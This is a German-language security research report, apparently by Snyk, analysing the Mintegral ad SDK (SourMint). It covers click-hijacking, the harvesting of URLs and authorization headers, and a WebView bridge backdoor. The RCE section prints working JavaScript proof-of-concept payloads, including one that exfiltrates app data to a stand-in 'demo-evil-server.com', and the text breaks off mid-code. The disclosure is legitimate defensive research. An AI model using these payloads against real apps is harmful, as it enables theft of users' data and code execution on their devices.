Skip to main content

Recherchebericht zu schädlicher SDK-Software SourMint

Artikel von
Headshot of Kirill Efimov

Kirill Efimov

malicious code, ad fraud

24. August 2020

0 Min. Lesezeit

Überblick

Das Mintegral SDK ist ein beliebtes Werbe-SDK für mobile Apps und sowohl für iOS als auch Android verfügbar. Es wird von Tausenden mobilen Apps mit über einer Milliarde Downloads pro Monat genutzt. App-Entwickler verwenden das SDK, um ihre Apps mit Anzeigen von Drittanbietern zu monetarisieren.

Das Snyk-Security-Research-Team hat zwei bedeutende Sicherheitslücken im Mintegral SDK offengelegt. Die erste Offenlegung wurde im August 2020 veröffentlicht und deckte umfangreiche Datenerfassung sowie Click-Hijacking in der iOS-Version des SDK auf. Die zweite Offenlegung beschrieb eine in der iOS-Version des SDK entdeckte Hintertür, die Remote Code Execution ermöglicht, sowie neue Erkenntnisse zur Android-Version des SDK.

Dieser Artikel stellt die technischen Details unserer Untersuchungen und Erkenntnisse vor, die über die Inhalte der Blogbeiträge hinausgehen.

Dieser Bericht ist in drei Abschnitte unterteilt:

  • Umfangreiche Datenerfassung, einschließlich des Abfangens und Protokollierens sämtlicher HTTP-Anfragen im iOS-SDK – ursprünglich am 24. August 2020 veröffentlicht – beschreibt die URL- und Request-Tracking-Funktionen der iOS-Version des Mintegral SDK.

  • Eine Hintertür in der iOS-Version des SDK ermöglicht Remote Code Execution – dieser Abschnitt beschreibt die Remote-Code-Execution-Funktionen in MintegralAdSDK, veröffentlicht am 15. Oktober 2020.

  • URL-Tracking von Downloads unter Android – beschreibt verschiedene Erkenntnisse zur Android-Version des Mintegral SDK.

Umfangreiche Datenerfassung unter iOS [August 2020]

Überblick

Dieser Teil der Untersuchung wurde anhand der Binärversion des Mintegral iOS SDK durchgeführt, da uns die Open-Source-Version im August 2020 noch nicht zur Verfügung stand. Untersucht wurde Version 6.3.5.0 des SDK (für x86-Architektur), die auf GitHub zum Download bereitsteht.

Wir haben festgestellt, dass die Mintegral iOS SDK-Versionen 5.5.1 und höher schädliche Funktionen enthalten, die zu Datenlecks führen. Vereinfacht gesagt, spioniert das SDK aus, auf welche Links Nutzer klicken und welche Netzwerkaktivitäten in den betroffenen Apps stattfinden. Die Überwachung erfolgt selbst dann, wenn der Entwickler oder die Ad-Mediation-Plattform das SDK nicht aktiviert hat. Außerdem versucht das SDK, sein schädliches Verhalten zu verbergen, indem es Proxys, Simulatoren und Geräte mit Jailbreak erkennt.

Method Swizzling

Das Mintegral SDK verwendet eine Technik namens Method Swizzling, um zur Laufzeit die Implementierungen der Methoden UIApplication openURL und SKStoreProductViewController loadProductWithParameters zu ersetzen. Außerdem registriert es eine eigene Klasse NSURLProtocol.

Diese Hooks spionieren App-Nutzer aus, indem sie sämtliche Informationen zu HTTP-Anfragen, geöffneten URLs und App-Store-Links übermitteln, auf die Nutzer innerhalb der App klicken.

HTTP-Request-Header und URLs können selbst sensible Daten enthalten. Zusammen mit der IDFA (Identifier for Advertisers) ermöglichen diese Daten Mintegral jedoch, Betrug bei der Werbezuordnung zu begehen.

Betrug bei der Werbezuordnung

Um ihre Apps zu monetarisieren, installieren Entwickler häufig Werbeplattformen. Werbeplattformen erhalten von Werbetreibenden Einnahmen für jede Installation, die erfolgt, nachdem ein Nutzer auf deren Anzeige geklickt hat. Entwickler nutzen nicht selten mehrere Werbeplattformen in ihren Apps. Um festzustellen, welcher Werbeplattform die Installation zugeordnet werden soll, wird daher jeder Klick bei einem Attributionsanbieter registriert – einer Mobile Measurement Platform (MMP).

Die folgende Abbildung zeigt, wie die schädliche Funktion in Mintegral arbeitet. In diesem Beispiel hat der Nutzer auf eine Anzeige von „Another Platform“ geklickt. Da Mintegral jedoch alle von der App geöffneten URLs abfangen kann, kann es zusätzliche Anfragen an einen Attributionsanbieter senden und so vortäuschen, dass der Klick auf eine eigene Anzeige erfolgte. Der Ablauf sieht folgendermaßen aus:

  1. Der Nutzer klickt auf einen Link in einer In-App-Anzeige eines Werbenetzwerks, das nicht zu Mintegral gehört, um eine neue App aus dem App Store zu installieren.

  2. Das SDK des Werbenetzwerks sendet die Klickinformationen an seine Backend-Plattform.

  3. Nachdem Mintegral das Klickereignis über Code abgefangen hat, der mithilfe von Method Swizzling in iOS-Ereignishandler eingeschleust wurde, protokolliert es die Klickdaten auf seinem Server.

  4. Das Werbenetzwerk registriert eine Klickbenachrichtigung beim Attributionsanbieter.

  5. Auch Mintegral registriert eine Klickbenachrichtigung beim Attributionsanbieter.

Wenn der Attributionsanbieter versucht, das Installationsereignis den registrierten Klickbenachrichtigungen zuzuordnen, findet er zwei passende Benachrichtigungen. Bei einem Last-Touch-Attributionsmodell wird der Klick Mintegral zugeordnet und die Klickbenachrichtigung des anderen Werbenetzwerks abgelehnt.

Diagramm, das zeigt, wie eine mobile App über nummerierte Datenflüsse mit dem App Store, einer anderen Plattform, einem Attributionsanbieter und Mintegral verbunden ist.

Snyk hat mit einem großen Attributionsanbieter zusammengearbeitet, um zu bestätigen, dass Mintegral die Klickdaten verwendet, um gefälschte Klickbenachrichtigungen zu erzeugen. Bei der Untersuchung konnte der Anbieter nachweisen, dass solche Benachrichtigungen erstellt wurden und dazu führten, dass Anzeigenklicks fälschlicherweise Mintegral zugeordnet wurden.

Demo-App

Um den Angriff zu demonstrieren, haben wir eine Demo-App eingerichtet. Sie zeigt den schädlichen openURL-Hook in Aktion. Mit einem Debugging-Proxy fangen wir den gesamten Netzwerkverkehr ab.

 Zur Initialisierung der App verwenden wir den folgenden Codeausschnitt aus der Mintegral-Dokumentation:

- (BOOL)application:(UIApplication *)application didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
    [[MTGSDK sharedInstance] setAppID:@"xxxxxx" ApiKey:@"yyyyyyyyyyyyyyyyyyyyyyyyy"];
    return YES;
}

Nach der Initialisierung des SDK öffnen wir example.com in der App, indem wir auf eine Schaltfläche klicken:

- (IBAction)openURLWithOptions:(id)sender {
    [[UIApplication sharedApplication] openURL:[NSURL URLWithString:@"http://example.com?foo=bar&x=y"] options:@{} completionHandler:nil];
}

Nach dem Start der App sehen wir sofort einige Anfragen des Mintegral SDK in unserem Proxy:

  • GET https://setting.rayjump.com/sdk/customid

  • GET https://setting.rayjump.com/setting

  • POST https://analytics.rayjump.com

iPhone-Simulator mit Schaltflächen für Diagnosetests neben Charles Proxy, das die Abfragezeichenfolge einer erfassten Anfrage und Gerätedetails anzeigt

Einstellungen

Die Antwort von https://setting.rayjump.com/setting ist ein JSON-Objekt mit vielen verschiedenen Optionen. Die folgende Tabelle beschreibt die für unsere Untersuchung interessantesten Felder.

JSON-Feld

Beschreibung

csw

Aktiviert oder deaktiviert die Anti-Debugging-Funktion.

cou

Aktiviert oder deaktiviert den openURL-Methoden-Hook.

cdai

URL, an die die abgegriffenen Informationen gesendet werden (*).

cspn

Aktiviert oder deaktiviert Hooks für StoreKit-Methoden.

cud

Aktiviert oder deaktiviert den Hook für NSURLProtocol.

cudl

Array von URLs, die über NSURLProtocol verfolgt werden (**).

* In unserem Fall war es LdxThdi1WBK/WgfPhbxQYkeXHBPwHZKsYFh= und nach dem Dekodieren https://n.systemlog.me/log.

** In unserem Fall war es kBzuJd5/H+i/D+SMY7V/DFKwR0M0D+SMhBPthdSsHZPUYFT0+N==und nach dem Dekodieren ["itunes.apple.com","apps.apple.com"].

Payload dekodieren

Nach dem Klick auf die Schaltfläche, die example.com öffnet, sehen wir zwei weitere Anfragen. Die erste ist wie erwartet eine GET-Anfrage an http://example.com. Die zweite ist eine POST-Anfrage an https://n.systemlog.me/log.

iPhone-Simulator mit Schaltflächen zur Hook-Erkennung und für Laufzeiteinstellungen neben Charles Proxy mit einem POST-Anforderungsprotokoll

Der Request-Body sieht aus, als wäre er Base64-kodiert. Tatsächlich handelt es sich jedoch nicht um eine Base64-kodierte Zeichenfolge. Das Mintegral SDK implementiert eine eigene Kodierungs- und Dekodierungslogik, die in +[MTGBase base64DecodeString:] und +[MTGBase base64CleverDecodeString:] zu finden ist. Beachten Sie, dass MTGBase nicht in den öffentlichen Headern des SDK offengelegt ist und Entwicklern nicht zur Verfügung stehen soll.

Zum Dekodieren des Payloads verwenden wir den folgenden Codeausschnitt:

Class cls = NSClassFromString(@"MTGBase");
NSObject *obj = [cls performSelector:NSSelectorFromString(@"base64CleverDecodeString:") withObject:@"THE REQUEST BODY HERE"];
NSLog(@"%@", obj);
Terminal-Screenshot mit dekodierten Payload-Daten und iOS-App-Anfragedetails aus einer Sourmint-Sicherheitsanalyse

Der Payload enthält viele Daten, darunter IDFA, IDFV, die Betriebssystemversion, den User-Agent und mehr. Er enthält jedoch auch ein Feld namens „clever“, das wiederum kodiert ist. Wir können es mit base64DecodeString dekodieren:

[{'cn': 'ViewController', 'u': 'http://example.com?foo=bar&x=y', 'nid': 0, 'type': '3', 'mn': 'openURLWithOptions:', 'trc': '["2|awesomegame|0x0000000104102f18 -[ViewController openURLWithOptions:] + 152","3|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","4|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","5|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","6|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497"]'}]

Wie Sie sehen, enthält es die URL, den Stack-Trace und einige zusätzliche Informationen, etwa den Controller und den Methodennamen.

Ein genauerer Blick

Wie bereits erwähnt, ist das Mintegral SDK proprietär. Wir untersuchen Version 6.3.5.0 für die x86-Architektur.

Bei der Binärdatei handelt es sich um eine Mach-O-Executable, die mehrere weitere Binärdateien enthält. Der für uns relevante Code befindet sich in _CXX_CXX_OperationPKTask.o.

Bei der Untersuchung der Klasse sehen wir +[_CXX_CXX_OperationPKTask load], das automatisch ausgeführt wird, sobald die Klasse zur Laufzeit hinzugefügt wird. Das bedeutet: Wird das SDK über CocoaPods installiert, wird die schädliche Logik initialisiert – unabhängig davon, ob Entwickler das SDK tatsächlich verwenden.

Die Methode load führt eine Reihe von Aufrufen aus, die uns zu ___cxxwebk_init_vw führen. Diese Methode prüft, ob das Anti-Debugging-Schutz-Flag aktiviert ist, und initialisiert Hooks, wenn das Flag auf „false“ gesetzt ist oder das Debugging deaktiviert ist.

Kommentierte Objective-C-Disassemblierung mit den Bezeichnungen CSW, Aufruf des Anti-Debugging-Schutzes, COU und cspn

Die Initialisierung der Hooks hängt von der oben erwähnten Einstellungsanfrage ab. Die folgende Tabelle zeigt die Beziehungen zwischen den JSON-Antwortfeldern und der Klasse MTGSetting:

JSON-Feld

MTGSetting-Eigenschaft

Beschreibung

csw

cSrtW

Aktiviert oder deaktiviert die Anti-Debugging-Funktion.

cou

cOpenURL

Aktiviert oder deaktiviert den openURL-Methoden-Hook.

cspn

cPackageName

Aktiviert oder deaktiviert Hooks für StoreKit-Methoden.

Anti-Debugging-Logik

Code-Screenshot mit Anti-Debugging-Logik und roten Markierungen, die auf /Applications/Cydia.app und /Library/MobileSubstrate/MobileSubstrate.dylib verweisen

Die Funktion __cxx_cxx_op_isInSuperViewFrame gibt in den folgenden Fällen true zurück:

  • Die Geräteplattform ist ein „Simulator“.

  • Ein Debugger ist angehängt (implementiert in ____mvpmvvm_isDebuggerAttached_block_invoke).

  • Eine der folgenden Dateien ist auf dem Gerät vorhanden (Hinweis auf einen Jailbreak):

    • /Applications/Cydia.app

    • /Library/MobileSubstrate/MobileSubstrate.dylib

    • /bin/bash

    • /usr/sbin/sshd

    • /etc/apt

    • /usr/bin/ssh

  • Ein Proxy ist aktiviert (über CFNetworkCopySystemProxySettings).

openURL-Methoden-Swizzling

Die Logik im folgenden Screenshot ist in der Methode ___cxxwebkmcouitninapo implementiert. Sie wird von ___cxxwebk_init_vw aufgerufen, wenn das entsprechende Flag aktiviert ist.

Dunkler Code-Editor mit Objective-C-Runtime-Code für Method Swizzling, Block-Aufrufe und Objekt-Retention

Der obige Screenshot zeigt die Implementierung des Method Swizzling. Dabei werden folgende Aufrufe ausgeführt:

  1. NSSelectorFromString ermittelt einen Selector für die Methode „openURL:“.

  2. NSClassFromString ermittelt einen Klassen-Deskriptor für UIApplication.

  3. class_getInstanceMethod ermittelt den Methoden-Deskriptor.

  4. method_getImplementation ermittelt die tatsächliche Implementierung der Methode.

  5. Anschließend wird ein Codeblock definiert, der _____cxxwebkmcouitninapo_block_invoke_2 und danach das ursprüngliche openURL aufruft.

  6. method_setImplementation ersetzt das ursprüngliche openURL durch den Codeblock aus dem vorherigen Schritt.

Bei der Methode openURL:options:completionHandler: läuft es fast genauso ab. Zuvor wird jedoch die Systemversion geprüft (der Handler wurde erstmals in iOS 10 eingeführt).

Nun haben wir gesehen, wie der Hook angewendet wird. Als Nächstes untersuchen wir die Implementierung des Hooks selbst (_____cxxwebkmcouitninapo_block_invoke_2).

Implementierung des openURL-Hooks

Die Implementierung befindet sich in der Methode ___cxxwebkmcoulsz. Dort sehen wir einen weiteren Anti-Debugging-Aufruf. Anschließend wird das Flag __mc_notifyInHouse geprüft. Ist es auf 1 gesetzt, geschieht nichts.

Damit werden alle Marketing-URLs ignoriert, auf die ein Nutzer in einer von Mintegral ausgelieferten Anzeige klickt. Die entsprechende Logik ist im Screenshot unten in +[MTGBase mtgOpenURL:options:completionHandler:] zu sehen:

Dunkler Code-Editor mit Objective-C-Methodencode, der einen openURL-Vorgang aufruft.

Der nächste Codeausschnitt zeigt, dass auch die Backtrace-Daten serialisiert und im Payload an https://n.systemlog.me/log übertragen werden.

Wir können am Aufruf +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:] einen Breakpoint setzen. Die Aufrufargumente sehen Sie im nächsten Screenshot:

Debugger-Fenster mit Assembly-Code, Thread-Steuerung und LLDB-Ausgabe für einen Breakpoint in ViewController einer iOS-App.
  • Die geöffnete URL (http://example.com?foo=bar&x=y).

  • Die Klasse, in der der Klick erfolgte (ViewController).

  • Die Methode, aus der heraus der Klick erfolgte (openURLWithOptions:).

  • Backtrace-Informationen.

Eine weitere interessante Funktion ist _nsh_id_by_cc. Sie scheint für die Erkennung konkurrierender SDKs zuständig zu sein. Die entsprechende Logik ist im nächsten Screenshot zu sehen:

Dunkler Code-Editor mit Objective-C-Reverse-Engineering-Code sowie Namen von Apple-Frameworks und -Diensten.

Zurück zu +[_CXX_CXX_OperationPKTask _cxx_cm_log_warnings:to:ins:]: Nachdem die Payload mit +[MTGBase base64EncodeString:] codiert wurde, wird ein neuer Codeblock erstellt und mit _dispatch_async aufgerufen.

Es folgt eine Reihe von Aufrufen mit zusätzlichen Payload-Transformationen, die schließlich bei -[_MC_ApiManager AFRequestWithUrl:paras:success:failure:] enden. Diese Methode sendet eine POST-Anfrage an collectDomainUrl aus MTGSetting, das standardmäßig auf https://n.systemlog.me/log gesetzt ist.

Ein Video zeigt, wie eine private URL offengelegt werden kann.

A demonstration of the SourMint Malicious SDK from Mintegral

Hook für SKStoreProductViewController

SKStoreProductViewController ist ein View-Controller, der eine Seite bereitstellt, auf der Nutzer Medien im App Store kaufen können.

Die Methode loadProductWithParameters:completionBlock: lädt einen neuen Produktbildschirm zur Anzeige.

Anstatt auf technische Details zur Implementierung des Hooks einzugehen, haben wir den folgenden Codeausschnitt zur Demo-Anwendung hinzugefügt:

- (IBAction)openSKStoreProductViewController:(id)sender {
    SKStoreProductViewController *storeViewController = [[SKStoreProductViewController alloc] init];
    [storeViewController setDelegate:self];
    NSDictionary *productParams = @{SKStoreProductParameterITunesItemIdentifier: [NSNumber numberWithInt:1234567890]};
    [storeViewController loadProductWithParameters:productParams completionBlock:nil];
}

Das Ergebnis ist eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

[{'cn': 'UIApplication', 'mn': 'sendAction:to:from:forEvent:', 'nid': 0, 'aid': '{"id":1234567890}', 'type': '2', 'trc': '["2|UIKitCore|0x00007fff49326c1d -[UIApplication sendAction:to:from:forEvent:] + 83","3|UIKitCore|0x00007fff48cd5baa -[UIControl sendAction:to:forEvent:] + 223","4|UIKitCore|0x00007fff48cd5ef2 -[UIControl _sendActionsForEvents:withEvent:] + 396","5|UIKitCore|0x00007fff48cd4e63 -[UIControl touchesEnded:withEvent:] + 497","6|UIKitCore|0x00007fff49362508 -[UIWindow _sendTouchesForEvent:] + 1359"]', 'dur': 24}]

Wie wir sehen, ist die Produkt-ID in der Anfrage enthalten. Damit ist es bewiesen.

Hook für NSURLProtocol

Die Klasse NSURLProtocol ermöglicht es Entwicklerinnen und Entwicklern, das Verhalten von Apples URL-Ladesystem neu zu definieren. Das Mintegral SDK registriert eine schädliche Implementierung von NSURLProtocol, die aus der Ferne so konfiguriert werden kann, dass sie beliebige ausgehende Anfragen einer Anwendung abfängt und URLs sowie HTTP-Header einschließlich des Authorization-Headers erfasst.

Für Anwendungsentwickler bedeutet das, dass Mintegral möglicherweise API-Token, Cookies und Header für die einfache Authentifizierung erfassen kann.

Um zu verstehen, wie das SDK diesen Teil des schädlichen Codes aktiviert, müssen wir uns ___cxxwebk_init_vw noch einmal ansehen.

Dunkler Code-Screenshot mit Objective-C-Annotationen zum Reverse Engineering, beschriftet mit „cud“, „cudl“ und „NSURLProtocol hook init“.

Der obige Screenshot zeigt, dass das Flag cud aktiviert und das Array cudl nicht leer sein muss, um den Hook zu aktivieren.

Der folgende Screenshot zeigt einen Teil der Funktion ___cxxwebkterisiuuxx, die von der obigen Methode aufgerufen wird.

Dunkler Code-Editor mit Objective-C-Runtime-Code zur Initialisierung einer Klasse und zur Registrierung einer NSURLProtocol-Unterklasse.

Der Code in der Funktion ___cxxwebkterisiuuxx führt die folgenden Aktionen aus:

  1. Erstellt eine von NSURLProtocol abgeleitete Klasse (objc_registerClassPair, objc_allocateClassPair).

  2. Fügt eine Implementierung für canInitWithRequest: hinzu, die effektiv als Interceptor fungiert (class_addMethod).

  3. Ruft +[NSURLProtocol registerClass:] auf, um die Klasse beim URL-Ladesystem zu registrieren.

Im Rahmen unserer Recherche haben wir den folgenden Codeausschnitt hinzugefügt, um zu überprüfen, welche Daten der schädliche Code erfasst:

- (IBAction)httpRequestWithURLSession:(id)sender {
    NSURLSessionConfiguration *sConf = [NSURLSessionConfiguration defaultSessionConfiguration];
    sConf.HTTPAdditionalHeaders = @{@"Authorization": @"Basic YWRtaW46YWRtaW4K"};
    NSURLSession *session = [NSURLSession sessionWithConfiguration:sConf];
    NSMutableURLRequest *req = [NSMutableURLRequest requestWithURL:[NSURL URLWithString:@"http://example.com/get-secret-data"]];
    req.HTTPBody = [@"foo=bar" dataUsingEncoding:NSUTF8StringEncoding];
    req.HTTPMethod = @"POST";
    NSURLSessionDataTask *task = [session dataTaskWithRequest:req];
    [task resume];
}

Das Ergebnis ist eine POST-Anfrage an https://n.systemlog.me/log mit der folgenden Payload im Feld „clever“:

[{'cn': '', 'u': 'http://example.com/get-secret-data', 'mn': '', 'nid': 0, 'hhf': '{"Authorization":"Basic YWRtaW46YWRtaW4K","Content-Length":"7"}', 'type': '1', 'hm': 'POST'}]

In der Anfrage sehen wir die URL und den Authorization-Header. Der Anfrage-Body ist zwar nicht enthalten, aber Header enthalten häufig sensible Daten. Diese Daten können sogar personenbezogene Informationen umfassen. Wenn eine API beispielsweise JWT-Token verwendet, können E-Mail-Adresse oder Benutzername im Token gespeichert sein.

Fazit

Während unserer Recherche haben wir viele interessante Techniken beobachtet, mit denen Mintegral-Entwickler das schädliche Verhalten ihres SDKs verschleiern. Wie wir sehen, aktivieren sie Hooks nur für bestimmte Anwendungen in bestimmten Regionen. Dadurch blieb der schädliche Code mehr als ein Jahr lang unentdeckt.

Zur zeitlichen Einordnung: Die erste Version (5.5.1) des schädlichen SDKs wurde am 17. Juli 2019 veröffentlicht. Wir stellten fest, dass alle nachfolgenden Versionen dieselbe schädliche Funktionalität enthielten.

Viele beliebte Anwendungen waren von den schädlichen Aktivitäten dieses SDKs betroffen. Wir hoffen, dass diese Recherche die Situation ins Bewusstsein rückt und künftig für mehr Kontrolle und Datenschutz bei Werbenetzwerken sorgt.

Remote Code Execution (RCE) unter iOS [Oktober 2020]

Kurzfassung

Wir haben die Klasse MTGBaseBridgeWebView entdeckt, die im gesamten SDK für die Kommunikation mit JavaScript verwendet wird. Sie fungiert als Hintertür und ermöglicht den Aufruf beliebiger Funktionen aus dem nativen Anwendungscode.

Diagramm, das zeigt, wie ein Mintegral-Server private Nutzerdaten und eine schädliche Banner-Payload an eine Smartphone-App mit nativem Code und einer eingebetteten UIWebView sendet.

Das Bild oben zeigt ein vereinfachtes Schema der Remote Code Execution in Aktion.

Diff-Analyse

Nach unserer ersten öffentlichen Offenlegung kündigte Mintegral die Veröffentlichung einer Open-Source-Version des SDKs an.

Wir verglichen die neue Open-Source-Version mit der vorherigen Binärversion, die als CocoaPod verteilt wurde. Zwar hatten wir keinen Zugriff auf den Quellcode der älteren Version, konnten aber die Klassennamen vergleichen. Dazu extrahierten wir die .o-Dateien aus den Binärdateien und verglichen die Symbole mit den .h-Dateien der Open-Source-Version.

Wie erwartet wurde die zuvor entdeckte schädliche Komponente _CXX_CXX_OperationPKTask tatsächlich entfernt. Beim Vergleich fiel jedoch etwas anderes auf. Die folgenden Klassen erregten unsere Aufmerksamkeit:

  • MTGCommandDispatcher

  • MTGComponentCommands

  • MTGRemoteCommand

  • MTGRemoteCommandParameterModel

  • MTGRemoteCommandParser

  • MTGInvocationBoxing

Wir beschlossen, die Binärdateien genauer zu untersuchen, um herauszufinden, wofür diese Dateien verwendet wurden.

Betroffene Versionen

Alle Versionen von MintegralAdSDK bis einschließlich 6.5.0.0. Version 6.6.0.0, veröffentlicht am 10. September 2020, enthält nicht die in diesem Artikel beschriebene Hintertürfunktion.

Die Bridge-Implementierung

Wir untersuchten zunächst, wo die Klasse MTGRemoteCommandParser verwendet wird, und fanden nur eine Stelle: -(void)handleNativeObject:parameters: in der Klasse MTGBaseBridgeWebView.

Die Implementierung zeigt, dass -(void)handleNativeObject:parameters: MTGRemoteCommandParser verwendet, um das Argument parameters zu parsen, und die Methode -(void)dispatchCommand:feedback: in der Klasse MTGCommandDispatcher aufruft.

Auf den ersten Blick scheint -(void)handleNativeObject:parameters: nicht verwendet zu werden. Das ist jedoch nicht der Fall. Sehen wir uns an, wie sich die Methode aus JavaScript-Code aufrufen lässt.

MTGBaseBridgeWebView implementiert die Methode -(void)webView:decidePolicyForNavigationAction:decisionHandler: des Protokolls WKNavigationDelegate. Diese Methode wird bei jeder Navigation in der Webansicht aufgerufen. Das bedeutet, dass wir sie aus JavaScript heraus auslösen können, indem wir einfach location.href=something aufrufen. In der Open-Source-Version des SDKs fanden wir einen regulären Ausdruck, der URLs von Navigationsanfragen parst: mv://(.+?):(.+?)/(.+?)\\?([\\s\\S]*).

Dunkler Code-Editor mit Objective-C-Code, der URL-Komponenten mithilfe eines regulären Ausdrucks analysiert und eine Funktion aufruft.

-(void)callFunctionWithName:fucId:param: führt im obigen Screenshot einfach einen Aufruf von self mit dem Selector fucName aus.

Um also -(void)handleNativeObject:parameters: von MTGBaseBridgeWebView aufzurufen, benötigen wir die folgende JavaScript-Zeile: location.href = 'mv://1:fucId/handleNativeObject?<parameters>'.

Bitte beachten Sie, dass alles, was wir oben beschrieben haben, zum Zeitpunkt der Erstellung dieses Artikels auch in der neuesten SDK-Version sowie in der Open-Source-Version des SDKs weiterhin gilt. Die einzige Ausnahme: -(void)handleNativeObject:parameters: wurde aus den neuesten Versionen entfernt.

Aufruf entfernter Methoden

Wir beschreiben nicht die vollständige Implementierung von MTGInvocationBoxing und anderen Klassen. Stattdessen zeigen wir, wie sich schädlicher JavaScript-Code erstellen lässt, um die entfernte Methode aufzurufen.

Der folgende Proof of Concept greift eine „einfache Notiz“-Anwendung an, die eine Klasse NoteRepository mit den beiden Methoden +(void)save: und +(NSString*)load enthält.

Wir schleusen den schädlichen JavaScript-Code ein, indem wir den Mintegral-Server durch unsere eigene Serverimplementierung ersetzen. Den vollständigen Quellcode dieser Anwendung und des Servers finden Sie hier .

Der schädliche JavaScript-Code für diese Anwendung lautet:

window.WindVane = {
     onSuccess: function (_, data) {
         fetch('https://demo-evil-server.com/log?data=' + encodeURIComponent(atob(data)));
     }
 };

location.href = 'mv://1:fucId/handleNativeObject?{"uniqueIdentifier":"hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP","name":"Y7KtHv==","result":{"type":3}}';

Wert

Dekodiert

hbxtJ7QU+TPXJ75ZH+SXhFQTYbzP

static_NoteRepository

Y7KtHv==

load

Dieser Code ruft die Methode +(NSString*)load der Klasse NoteRepository auf und sendet das Ergebnis an unseren Endpunkt demo-evil-server.com/log.

Dabei kommen dieselben Verschleierungstechniken zum Einsatz, die im vorherigen Abschnitt beschrieben wurden. Der Proof of Concept enthält jedoch bereits JavaScript-Code zum Codieren und Dekodieren (siehe banner.html).

Vollständige Remote Code Execution (RCE) erlangen

Im obigen Beispiel haben wir gesehen, wie sich mit dem SDK jede statische Methode einer beliebigen Klasse aufrufen lässt. In diesem Abschnitt zeigen wir, wie sich damit beliebiger nativer Code ausführen lässt.

Zur Veranschaulichung zeigen wir, wie sich ein UIAlertController mit der Meldung „PWNED!“ erstellen lässt.

Betrachten wir den folgenden Objective-C-Code als Referenz:

UIAlertController *alert = [[UIAlertController alloc] init];
[alert setMessage:@"PWNED!"];
[[[[UIApplication sharedApplication] keyWindow] rootViewController] presentViewController:alert animated:YES completion:nil];

Wir müssen herausfinden, wie eine Instanz von UIAlertController erstellt und zwischen den Aufrufen beibehalten werden kann, wie sich eine gemeinsame Anwendungsinstanz abrufen lässt und wie presentViewController:animated:completion: mit dieser Instanz aufgerufen wird.

Schritt 1: Referenz auf die Klasse UIAlertController speichern

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            'value': {'uniqueIdentifier': 'hbxtJ7QU+25zNkeQhgxaYFPThrKsY75B'} // static_UIAlertController
        },
        {'type': 2, 'value': 'a' }
    ]
});

Der MTGRemoteCommandParser unterstützt zwei Arten von Objektreferenzen:

  • static – ruft anhand des Namens eine Referenz auf ein Klassenobjekt ab.

  • singleton – führt mehrere Schritte aus:

    • Ruft anhand des Namens eine Klasse ab (in unserem Beispiel MTGSetting).

    • Führt die Methode sharedInstance für die Klasse aus. [MTGSetting sharedInstance]

      in Objective-C.

    • Verwendet valueForKey:, um Eigenschaften abzurufen, deren Namen durch Punkte getrennt sind. In unserem Fall lautet der Aufruf [[MTGSetting sharedInstance] valueForKey:@"jsonTitles"].

Beachten Sie, dass jsonTitles lediglich eine Instanz von NSMutableDictionary ist. Im Exploit wird sie als temporärer Speicher für unsere Referenzen verwendet. Der MTGRemoteCommandParser unterstützt die folgenden Parametertypen:

  • 0 – Zahl.

  • 1 – Referenz.

  • 2 – Zeichenfolge.

  • 4 – nil.

Mit dem Referenztyp (1) können wir eine Referenz auf ein Objekt als Methodenargument übergeben. Wichtig ist, dass uniqueIdentifier genau wie ein uniqueIdentifier der obersten Ebene geparst wird – daher wird auch der Typ singleton unterstützt.

Schritt 2: Neue Instanz der Klasse UIAlertController erzeugen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=', // setObject:forKey:
    'parameters': [
        {
            'type': 1,
            // singleton_MTGSetting.jsonTitles.a.alloc.init
            'value': {'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBPtWrcsY7KUWrQ\/L+N='}
        },
        {'type': 2, 'value': 'b'}
    ]
});

In diesem Fall läuft die gesamte Magie in singleton_MTGSetting.jsonTitles.a.alloc.init ab. Wie wir bereits wissen, liefert uns singleton_MTGSetting.jsonTitles.a eine Referenz auf die Klasse UIAlertController. Wir müssen jedoch herausfinden, warum [[UIAlertController valueForKey:@"alloc"] valueForKey:@"init"] funktioniert. In der Dokumentation zu valueForKey: steht:

Das Suchmuster, das valueForKey: verwendet, um den zurückzugebenden Wert zu finden, wird unter Suchmuster für Zugriffsmethoden im Programmierreferenz zu Key-Value-Coding beschrieben.

Wir haben herausgefunden, dass valueForKey: jede Methode anhand ihres Namens aufrufen kann, sofern sie keine Argumente hat.

Wir können nun also eine neue Instanz der Klasse UIAlertController erstellen, auf die über die Eigenschaft b des jsonTitles-Dictionaries verwiesen wird.

Schritt 3: Meldung „PWNED!“ festlegen

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhBP0', // singleton_MTGSetting.jsonTitles.b
    'name': 'hF5Tnk5AhFcgHnE=', // setMessage:
    'parameters': [{'type': 2, 'value': 'PWNED!'}]
});

Dieser Schritt ist naheliegend: Wir rufen für die Instanz von UIAlertController setMessage: auf, um die Meldung PWNED! festzulegen.

Schritt 4: Referenz auf die Klasse UIApplication speichern

location.href = 'mv://1:fucId/handleNativeObject?' + JSON.stringify({
    'uniqueIdentifier': 'hFQ\/HFeQJ7K\/+T2Vx2fQJdxuYrh\/LgfXYQxuJ7eQhM==', // singleton_MTGSetting.jsonTitles
    'name': 'hF5TnFzqHkfTGrHXh3wQ4nE=',
    'parameters': [
